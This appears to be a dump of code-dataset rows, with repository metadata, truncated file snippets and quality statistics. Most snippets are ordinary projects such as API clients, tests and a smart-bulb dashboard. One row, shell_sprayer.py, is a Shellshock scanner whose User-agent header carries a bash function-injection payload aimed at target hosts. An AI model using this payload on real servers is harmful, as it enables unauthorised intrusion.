hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
25ed244bbc897403856dd9db84034cf03d91d668 | 2,469 | py | Python | yeelight_dashboard/namespace_io/command.py | meadowfrey/YeeLightDashboard | 30f781ea3231727103d7a6c11b7415a133e0d9d8 | [
"MIT"
] | null | null | null | yeelight_dashboard/namespace_io/command.py | meadowfrey/YeeLightDashboard | 30f781ea3231727103d7a6c11b7415a133e0d9d8 | [
"MIT"
] | null | null | null | yeelight_dashboard/namespace_io/command.py | meadowfrey/YeeLightDashboard | 30f781ea3231727103d7a6c11b7415a133e0d9d8 | [
"MIT"
] | null | null | null | from flask_socketio import Namespace, emit
from yeelight import Bulb, BulbException
from yeelight_dashboard.app import zeroconf
from yeelight_dashboard.namespace_io.discover import lock
class CommandIO(Namespace):
def on_rgb(self, message):
lock.acquire()
try:
zeroconf.bulbs[message['... | 34.291667 | 104 | 0.569056 | 254 | 2,469 | 5.417323 | 0.185039 | 0.130814 | 0.218023 | 0.239826 | 0.793605 | 0.793605 | 0.793605 | 0.731105 | 0.731105 | 0.652616 | 0 | 0 | 0.302147 | 2,469 | 71 | 105 | 34.774648 | 0.798607 | 0 | 0 | 0.793651 | 0 | 0 | 0.038072 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.095238 | false | 0.079365 | 0.063492 | 0 | 0.174603 | 0.015873 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
25fbbd686f4b59966eef5dbf3351e4260d737fa5 | 10,466 | py | Python | shell_sprayer.py | d1str0/shellshocker-pocs | 8aa23d5e3b791b342a39318f4e777bfd8534ab31 | [
"MIT"
] | 448 | 2015-01-01T11:41:51.000Z | 2022-03-24T05:59:13.000Z | shell_sprayer.py | d1str0/shellshocker-pocs | 8aa23d5e3b791b342a39318f4e777bfd8534ab31 | [
"MIT"
] | null | null | null | shell_sprayer.py | d1str0/shellshocker-pocs | 8aa23d5e3b791b342a39318f4e777bfd8534ab31 | [
"MIT"
] | 152 | 2015-01-06T17:06:33.000Z | 2022-03-08T00:12:47.000Z | #!/usr/bin/python
import urllib2, sys, optparse
def scanner(RHOST):
opener = urllib2.build_opener()
# Modify User-agent header value for Shell Shock test
opener.addheaders = [('User-agent', '() { :;}; echo Content-Type: text/plain ; echo "TEST: TEST"')]
for req in reqs:
try:
URL = RHOST.strip()+req.strip()
... | 227.521739 | 9,155 | 0.674279 | 1,645 | 10,466 | 4.264438 | 0.264438 | 0.230078 | 0.307912 | 0.013685 | 0.078974 | 0.014255 | 0.00556 | 0.00556 | 0 | 0 | 0 | 0.005097 | 0.062679 | 10,466 | 45 | 9,156 | 232.577778 | 0.70999 | 0.013663 | 0 | 0.058824 | 0 | 0 | 0.76645 | 0.465743 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0.029412 | 0.029412 | null | null | 0.176471 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d39cb969dc0fd2ee3eb8d66ecd8a2789f4186080 | 11,060 | py | Python | tests/core/test_config.py | acarrasco/dacite | ece070cc3c25e86634086db8ee4f2e45bdfe6fe5 | [
"MIT"
] | null | null | null | tests/core/test_config.py | acarrasco/dacite | ece070cc3c25e86634086db8ee4f2e45bdfe6fe5 | [
"MIT"
] | 1 | 2019-03-20T17:30:34.000Z | 2019-03-20T17:30:34.000Z | tests/core/test_config.py | acarrasco/dacite | ece070cc3c25e86634086db8ee4f2e45bdfe6fe5 | [
"MIT"
] | null | null | null | from dataclasses import dataclass
from typing import Optional, List, Union, Dict
import pytest
from dacite import from_dict, Config, InvalidConfigurationError, ForwardReferenceError
def test_from_dict_with_remap():
@dataclass
class X:
s: str
i: int
result = from_dict(X, {"s": "test", "j... | 20.750469 | 100 | 0.594033 | 1,583 | 11,060 | 3.921668 | 0.051169 | 0.099227 | 0.094233 | 0.089401 | 0.903028 | 0.850515 | 0.798325 | 0.764336 | 0.730992 | 0.708119 | 0 | 0.006032 | 0.250543 | 11,060 | 532 | 101 | 20.789474 | 0.742912 | 0.004792 | 0 | 0.752874 | 0 | 0 | 0.046165 | 0 | 0 | 0 | 0 | 0 | 0.132184 | 1 | 0.112069 | false | 0 | 0.011494 | 0 | 0.548851 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6ce576ec809f8bfefce707b6d8f9501fa78d00dd | 65,327 | py | Python | src/module/nolbo_test_backup.py | bogus2000/Anchor-Distance | 6c7db354f7bf8fee9f3b2910e05302c606cc4e9c | [
"MIT"
] | 1 | 2022-02-17T06:03:57.000Z | 2022-02-17T06:03:57.000Z | src/module/nolbo_test_backup.py | bogus2000/Anchor-Distance | 6c7db354f7bf8fee9f3b2910e05302c606cc4e9c | [
"MIT"
] | null | null | null | src/module/nolbo_test_backup.py | bogus2000/Anchor-Distance | 6c7db354f7bf8fee9f3b2910e05302c606cc4e9c | [
"MIT"
] | null | null | null | import src.net_core.darknet as darknet
import src.net_core.autoencoder3D as ae3D
# import src.net_core.priornet as priornet
from src.module.function import *
import src.visualizer.visualizer_ as visualizer
import cv2
config = {
'encoder_backbone':{
'name' : 'nolbo_backbone',
'predictor_num':5,
... | 51.723674 | 159 | 0.549298 | 8,337 | 65,327 | 4.011275 | 0.044261 | 0.018839 | 0.018659 | 0.022965 | 0.918007 | 0.912206 | 0.907781 | 0.904222 | 0.904222 | 0.904222 | 0 | 0.042663 | 0.302846 | 65,327 | 1,262 | 160 | 51.764659 | 0.691632 | 0.140003 | 0 | 0.852721 | 0 | 0 | 0.020207 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064034 | false | 0 | 0.005336 | 0.003202 | 0.11206 | 0.006403 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9f7282e9bd38c072d1dd1afa97501eb865cd772c | 53,461 | py | Python | memsource_cli/api/analysis_api.py | unofficial-memsource/memsource-cli-client | a6639506b74e95476da87f4375953448b76ea90c | [
"Apache-2.0"
] | 16 | 2019-09-25T00:20:38.000Z | 2021-05-04T05:56:10.000Z | memsource_cli/api/analysis_api.py | zerodayz/memsource-cli-client | c2574f1467539a49e6637c874e88d75c7ef789b3 | [
"Apache-2.0"
] | 26 | 2019-09-30T14:00:03.000Z | 2021-05-12T11:15:18.000Z | memsource_cli/api/analysis_api.py | zerodayz/memsource-cli-client | c2574f1467539a49e6637c874e88d75c7ef789b3 | [
"Apache-2.0"
] | 1 | 2021-05-24T16:19:14.000Z | 2021-05-24T16:19:14.000Z | # coding: utf-8
"""
Memsource REST API
Welcome to Memsource's API documentation. To view our legacy APIs please [visit our documentation](https://wiki.memsource.com/wiki/Memsource_API) and for more information about our new APIs, [visit our blog](https://www.memsource.com/blog/2017/10/24/introducing-rest-apis... | 39.896269 | 421 | 0.610875 | 6,168 | 53,461 | 5.024157 | 0.038911 | 0.054471 | 0.023492 | 0.030204 | 0.961438 | 0.956113 | 0.952112 | 0.945077 | 0.936719 | 0.933815 | 0 | 0.020067 | 0.298105 | 53,461 | 1,339 | 422 | 39.926064 | 0.805778 | 0.307346 | 0 | 0.808482 | 0 | 0.008208 | 0.213681 | 0.061612 | 0 | 0 | 0 | 0 | 0 | 1 | 0.036936 | false | 0 | 0.005472 | 0 | 0.097127 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
9fcb6b15be3049f17d7b93bc650ae8251eea537b | 6,071 | py | Python | dbjson.py | IM-code111/dbjson-1.0.0 | 5a52a3f441a39e98dc48fdc7c0c03d1b4a3db41e | [
"MIT"
] | null | null | null | dbjson.py | IM-code111/dbjson-1.0.0 | 5a52a3f441a39e98dc48fdc7c0c03d1b4a3db41e | [
"MIT"
] | null | null | null | dbjson.py | IM-code111/dbjson-1.0.0 | 5a52a3f441a39e98dc48fdc7c0c03d1b4a3db41e | [
"MIT"
] | null | null | null | import os
from os import path
import json
class DatabaseError(Exception):
pass
class DataError(Exception):
pass
def new(db):
if path.exists(f'{db}.json'):
raise DatabaseError(f"Database name {db} already exist\nTry different name instead")
else:
with open(f'{db}.json','w... | 38.18239 | 96 | 0.45775 | 730 | 6,071 | 3.806849 | 0.084932 | 0.032386 | 0.075567 | 0.075207 | 0.873696 | 0.844908 | 0.834473 | 0.834473 | 0.812882 | 0.798129 | 0 | 0 | 0.415912 | 6,071 | 159 | 97 | 38.18239 | 0.7837 | 0 | 0 | 0.732394 | 0 | 0 | 0.192087 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.077465 | false | 0.014085 | 0.021127 | 0 | 0.204225 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
4cb63e582e7b4e2a10fd2f92e1e8a852dcb65241 | 131 | py | Python | pyDist/comms/__init__.py | alekLukanen/pyDist | ffb2c3feb20afba078fec7381c8785eb1e2b0543 | [
"MIT"
] | 5 | 2017-12-24T08:11:16.000Z | 2019-02-07T22:13:26.000Z | pyDist/comms/__init__.py | alekLukanen/pyDist | ffb2c3feb20afba078fec7381c8785eb1e2b0543 | [
"MIT"
] | 1 | 2021-06-01T23:17:31.000Z | 2021-06-01T23:17:31.000Z | pyDist/comms/__init__.py | alekLukanen/pyDist | ffb2c3feb20afba078fec7381c8785eb1e2b0543 | [
"MIT"
] | null | null | null |
import pyDist.comms.ClusterExecutor
import pyDist.comms.WorkItems
import pyDist.comms.NodeToNode
import pyDist.comms.Logging
| 21.833333 | 36 | 0.832061 | 16 | 131 | 6.8125 | 0.4375 | 0.440367 | 0.623853 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.10687 | 131 | 5 | 37 | 26.2 | 0.931624 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
4cc866c630e3bca23213e9ad975e8d6a88c43060 | 380 | py | Python | pymtl3/passes/backends/verilog/__init__.py | kevinyuan/pymtl3 | 5949e6a4acc625c0ccbbb25be3af1d0db683df3c | [
"BSD-3-Clause"
] | 152 | 2020-06-03T02:34:11.000Z | 2022-03-30T04:16:45.000Z | pymtl3/passes/backends/verilog/__init__.py | kevinyuan/pymtl3 | 5949e6a4acc625c0ccbbb25be3af1d0db683df3c | [
"BSD-3-Clause"
] | 139 | 2019-05-29T00:37:09.000Z | 2020-05-17T16:49:26.000Z | pymtl3/passes/backends/verilog/__init__.py | kevinyuan/pymtl3 | 5949e6a4acc625c0ccbbb25be3af1d0db683df3c | [
"BSD-3-Clause"
] | 22 | 2020-05-18T13:42:05.000Z | 2022-03-11T08:37:51.000Z | from .import_.VerilogVerilatorImportPass import VerilogVerilatorImportPass
from .tbgen.VerilogTBGenPass import VerilogTBGenPass
from .translation.VerilogTranslationPass import VerilogTranslationPass
from .VerilogPlaceholder import VerilogPlaceholder
from .VerilogPlaceholderPass import VerilogPlaceholderPass
from .Veril... | 54.285714 | 74 | 0.913158 | 27 | 380 | 12.814815 | 0.37037 | 0.184971 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.063158 | 380 | 6 | 75 | 63.333333 | 0.97191 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.833333 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 7 |
e2497eff84299635590ba7a854710ffb8deb1284 | 78,490 | py | Python | exp_opennet.py | clojia/DTAE | 9cfe89c47cdb7e9796900a00efb202593095d990 | [
"MIT"
] | null | null | null | exp_opennet.py | clojia/DTAE | 9cfe89c47cdb7e9796900a00efb202593095d990 | [
"MIT"
] | null | null | null | exp_opennet.py | clojia/DTAE | 9cfe89c47cdb7e9796900a00efb202593095d990 | [
"MIT"
] | null | null | null | import argparse
import logging
import sys
import os.path
import numpy as np
import tensorflow as tf
import time
import datetime
import os
os.environ["CUDA_VISIBLE_DEVICES"]="0"
sys.path.insert(0, os.path.abspath("./simple-dnn"))
from g_openmax import GOpenmax
from open_net import OpenNetFlat, OpenNetCNN
from openmax... | 50.314103 | 320 | 0.532514 | 8,965 | 78,490 | 4.397658 | 0.037368 | 0.010349 | 0.050222 | 0.070311 | 0.904375 | 0.89603 | 0.88525 | 0.879264 | 0.865238 | 0.859302 | 0 | 0.05852 | 0.360798 | 78,490 | 1,559 | 321 | 50.346376 | 0.727293 | 0.040196 | 0 | 0.835883 | 0 | 0.000695 | 0.052575 | 0.008352 | 0 | 0 | 0 | 0 | 0 | 1 | 0.003477 | false | 0.004868 | 0.013908 | 0 | 0.043115 | 0.00765 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
e2563ffe2ebb1d25590e35984071f7ec00ddeeea | 57 | py | Python | scripts/unet/__init__.py | gauthamnarayan/transparent_liquid_segmentation_icra2022 | 692a59a5fc5a771d1e8cb65fe4588514db2568fe | [
"MIT"
] | null | null | null | scripts/unet/__init__.py | gauthamnarayan/transparent_liquid_segmentation_icra2022 | 692a59a5fc5a771d1e8cb65fe4588514db2568fe | [
"MIT"
] | null | null | null | scripts/unet/__init__.py | gauthamnarayan/transparent_liquid_segmentation_icra2022 | 692a59a5fc5a771d1e8cb65fe4588514db2568fe | [
"MIT"
] | null | null | null | # from .unet_model import UNet
from .unet_model import *
| 19 | 30 | 0.77193 | 9 | 57 | 4.666667 | 0.444444 | 0.380952 | 0.619048 | 0.904762 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.157895 | 57 | 2 | 31 | 28.5 | 0.875 | 0.491228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 8 |
e2a43c3b4da6a8309ae2e873e063387314ce5f39 | 1,601 | py | Python | rules/frappe_correctness.py | resilient-tech/semgrep-rules | a7a81e0f2bec78000938fff99d2320792c1625ea | [
"MIT"
] | null | null | null | rules/frappe_correctness.py | resilient-tech/semgrep-rules | a7a81e0f2bec78000938fff99d2320792c1625ea | [
"MIT"
] | null | null | null | rules/frappe_correctness.py | resilient-tech/semgrep-rules | a7a81e0f2bec78000938fff99d2320792c1625ea | [
"MIT"
] | null | null | null | import frappe
from frappe import _
from frappe.model.document import Document
# ruleid: frappe-modifying-but-not-comitting
def on_submit(self):
if self.value_of_goods == 0:
frappe.throw(_('Value of goods cannot be 0'))
self.status = 'Submitted'
# ok: frappe-modifying-but-not-comitting
def on_submit(self):
if ... | 22.236111 | 57 | 0.728919 | 238 | 1,601 | 4.773109 | 0.193277 | 0.09243 | 0.110915 | 0.129401 | 0.885563 | 0.885563 | 0.84507 | 0.808099 | 0.808099 | 0.808099 | 0 | 0.005011 | 0.12742 | 1,601 | 71 | 58 | 22.549296 | 0.80816 | 0.245472 | 0 | 0.795455 | 0 | 0 | 0.142738 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.227273 | false | 0 | 0.068182 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
e2afa6faa07f1f720c2a02c2182c7c2880d4ce42 | 376 | py | Python | ganapi/gan_exception.py | getanewsletter/api-python | fa396140820fa8377b5d38f2d2bb8bcf7b5ff4d4 | [
"MIT"
] | 1 | 2016-02-15T12:46:43.000Z | 2016-02-15T12:46:43.000Z | ganapi/gan_exception.py | getanewsletter/api-python | fa396140820fa8377b5d38f2d2bb8bcf7b5ff4d4 | [
"MIT"
] | null | null | null | ganapi/gan_exception.py | getanewsletter/api-python | fa396140820fa8377b5d38f2d2bb8bcf7b5ff4d4 | [
"MIT"
] | null | null | null | class GanException(Exception):
def __init__(self, error_type, error_message, *args, **kwargs):
self.error_type = error_type
self.error_message = error_message
def __str__(self):
return u'({error_type}) {error_message}'.format(error_type=self.error_type,
... | 47 | 89 | 0.617021 | 42 | 376 | 5.047619 | 0.357143 | 0.254717 | 0.264151 | 0.254717 | 0.235849 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.287234 | 376 | 8 | 89 | 47 | 0.791045 | 0 | 0 | 0 | 0 | 0 | 0.079576 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.285714 | false | 0 | 0 | 0.142857 | 0.571429 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 7 |
2c6bcb0347e0573e4a472e132f3a75de64f8a426 | 21,340 | py | Python | lib/clckwrkbdgr/taskwarrior/test/test_taskwarrior.py | umi0451/dotfiles | c618811be788d995fe01f6a16b355828d7efdd36 | [
"MIT"
] | 2 | 2017-04-16T14:54:17.000Z | 2020-11-12T04:15:00.000Z | lib/clckwrkbdgr/taskwarrior/test/test_taskwarrior.py | clckwrkbdgr/dotfiles | 292dac8c3211248b490ddbae55fe2adfffcfcf58 | [
"MIT"
] | null | null | null | lib/clckwrkbdgr/taskwarrior/test/test_taskwarrior.py | clckwrkbdgr/dotfiles | 292dac8c3211248b490ddbae55fe2adfffcfcf58 | [
"MIT"
] | null | null | null | import unittest
unittest.defaultTestLoader.testMethodPrefix = 'should'
try:
import unittest.mock as mock
except ImportError: # pragma: no cover
import mock
mock.patch.TEST_PREFIX = 'should'
from pyfakefs import fake_filesystem_unittest
import os
import datetime
import six
from clckwrkbdgr import xdg
import clckwrkbd... | 39.012797 | 108 | 0.654499 | 3,212 | 21,340 | 4.227895 | 0.055729 | 0.184978 | 0.047865 | 0.132842 | 0.85243 | 0.827541 | 0.801031 | 0.783063 | 0.757879 | 0.713255 | 0 | 0.097772 | 0.145923 | 21,340 | 546 | 109 | 39.084249 | 0.647317 | 0.00075 | 0 | 0.720841 | 0 | 0 | 0.04615 | 0 | 0 | 0 | 0 | 0 | 0.210325 | 1 | 0.049713 | false | 0.028681 | 0.022945 | 0 | 0.078394 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2c7ac4a38c24179bbbd9f935c278adfa853d18d4 | 82,355 | py | Python | influxdb_client/service/telegrafs_service.py | bonitoo-io/influxdb-client-python | 465476b33648ba399a8f3e13d8780f7b3fe51950 | [
"MIT"
] | 1 | 2019-09-06T10:06:09.000Z | 2019-09-06T10:06:09.000Z | influxdb_client/service/telegrafs_service.py | bonitoo-io/influxdb-client-python | 465476b33648ba399a8f3e13d8780f7b3fe51950 | [
"MIT"
] | 5 | 2019-08-06T04:58:58.000Z | 2019-09-05T09:09:40.000Z | influxdb_client/service/telegrafs_service.py | bonitoo-io/influxdb-client-python | 465476b33648ba399a8f3e13d8780f7b3fe51950 | [
"MIT"
] | 1 | 2019-08-05T05:46:55.000Z | 2019-08-05T05:46:55.000Z | # coding: utf-8
"""
InfluxDB OSS API Service.
The InfluxDB v2 API provides a programmatic interface for all interactions with InfluxDB. Access the InfluxDB API using the `/api/v2/` endpoint. # noqa: E501
OpenAPI spec version: 2.0.0
Generated by: https://openapi-generator.tech
"""
from __future__ import absolute_... | 47.303274 | 159 | 0.654362 | 10,040 | 82,355 | 5.018526 | 0.018825 | 0.04668 | 0.081689 | 0.037788 | 0.982178 | 0.97934 | 0.97545 | 0.970924 | 0.966757 | 0.959155 | 0 | 0.019626 | 0.258782 | 82,355 | 1,740 | 160 | 47.33046 | 0.805793 | 0.257082 | 0 | 0.844754 | 0 | 0 | 0.168304 | 0.06171 | 0 | 0 | 0 | 0 | 0 | 1 | 0.046039 | false | 0 | 0.003212 | 0 | 0.125268 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2cab8fec9d0b0a4ff3b32326ff25692e6ee1f03b | 14,900 | py | Python | rmgpy/kinetics/surfaceTest.py | tza0035/RMG-Py | 38c49f7107d1b19e4a534408a1040ddd313b8596 | [
"MIT"
] | 3 | 2015-07-20T17:53:48.000Z | 2019-10-28T17:44:52.000Z | rmgpy/kinetics/surfaceTest.py | tza0035/RMG-Py | 38c49f7107d1b19e4a534408a1040ddd313b8596 | [
"MIT"
] | null | null | null | rmgpy/kinetics/surfaceTest.py | tza0035/RMG-Py | 38c49f7107d1b19e4a534408a1040ddd313b8596 | [
"MIT"
] | 4 | 2017-05-19T20:23:16.000Z | 2019-10-23T14:34:41.000Z | #!/usr/bin/env python3
###############################################################################
# #
# RMG - Reaction Mechanism Generator #
# ... | 43.440233 | 102 | 0.610805 | 1,795 | 14,900 | 5.031755 | 0.129805 | 0.052812 | 0.132861 | 0.079717 | 0.81477 | 0.774247 | 0.774247 | 0.772476 | 0.660983 | 0.654783 | 0 | 0.020894 | 0.257987 | 14,900 | 342 | 103 | 43.567251 | 0.796038 | 0.255101 | 0 | 0.743169 | 0 | 0 | 0.012196 | 0 | 0 | 0 | 0 | 0 | 0.535519 | 1 | 0.142077 | false | 0 | 0.038251 | 0 | 0.191257 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
